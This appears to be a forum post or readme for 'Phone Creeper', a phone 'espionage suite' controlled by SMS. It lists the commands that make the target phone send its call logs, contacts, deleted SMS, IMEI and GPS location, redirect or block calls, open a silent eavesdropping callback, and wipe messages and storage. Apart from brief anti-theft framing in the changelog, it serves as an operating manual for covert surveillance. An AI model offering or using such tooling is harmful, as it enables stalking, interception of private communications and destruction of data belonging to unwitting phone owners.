Phone Creeper is a phone espionage suite.

Currently it has the following features:

To receive call history, send the following text to phone with this installed on it:
chetstriker getcalls
To add call blocking: (communication either way with specified number will disconnect)
chetstriker addblk 8005551212
To add call redirecting: (if phone dials a specific nuumber it will cancel and dial an alternate number instead)
chetstriker addredir ifthisnumbercalls sendtothisnumber
To remove call blocks:
chetstriker delblks
To remove call redirects:
chetstriker delredir
To get contacts: (from memory)
chetstriker getcontacts
To get appointments:
chetstriker getappts
To get tasks:
chetstriker gettasks
To set emergency SMS number:
chetstriker setemerg 8005551212
To get phone info: (IMEI, username, email, radio version, etc.)
chetstriker getinfo
To get gps location and google maps link:
chetstriker getpos
Deletes Contacts, Appointments, Task:
chetstriker deleteaccts
Displays command list:
chetstriker help
To receive incoming SMS mesages:
chetstriker getrecsms
To receive logged SMS mesages: (includes deleted SMS messages, last 10)
chetstriker getreclog
To receive sent SMS messages:
chetstriker getsentsms
To delete all SMS messages:
chetstriker delallsms
To delete received SMS messages:
chetstriker delrecsms
To delete sent SMS messages:
chetstriker delsentsms
To wipe your storage card:
chetstriker wipeflash
To send a fart:
chetstriker fart
To send a pop-up message:
chetstriker message “insert msg here, without quotes”
To create a silent callback through remote speakerphone:
chetstriker callback
To bounce sms off phone to someone else:
chetstriker bounce sms “phone number to send to” “message to send”
To send your eaves droping call to someone else:
chetstriker bounce call “phone number to send to” “message to send”
To change password:
chetstriker change “newpassword”
(Obviously change “newpassword” to be what ever password you want and don’t type the quotes.)
After you have changed your password, make sure you use the new commands accordingly. For example, if I changed the password to yellow and wanted to get call history. I would from now on type:
yellow getcalls

Changes:

* Added call blocking: (communication either way with specified number will disconnect)
* Added call redirecting: (if phone dials a specific number it will cancel and redirect to an alternate number instead)
* Can receive contacts: (from memory, can take a while if many)
* Can receive tasks: (from memory, can take a while if many)
* Can receive appointments: (from memory, can take a while if many)
* Get phone info: (gets IMEI, IMSI, username, email, phone, protocol version and radio version)
* SIM change detection (use chetstriker setemerg command to set backup phone to send alert to if stolen)
* getrecsms changed back to getting received SMS messages from memory
* getreclog added to get ALL (including deleted) received SMS history (last 10)
* Lots of fixes (try again, if you reported and problems on here previously)

http://forum.xda-developers.com/showthread.php?t=527423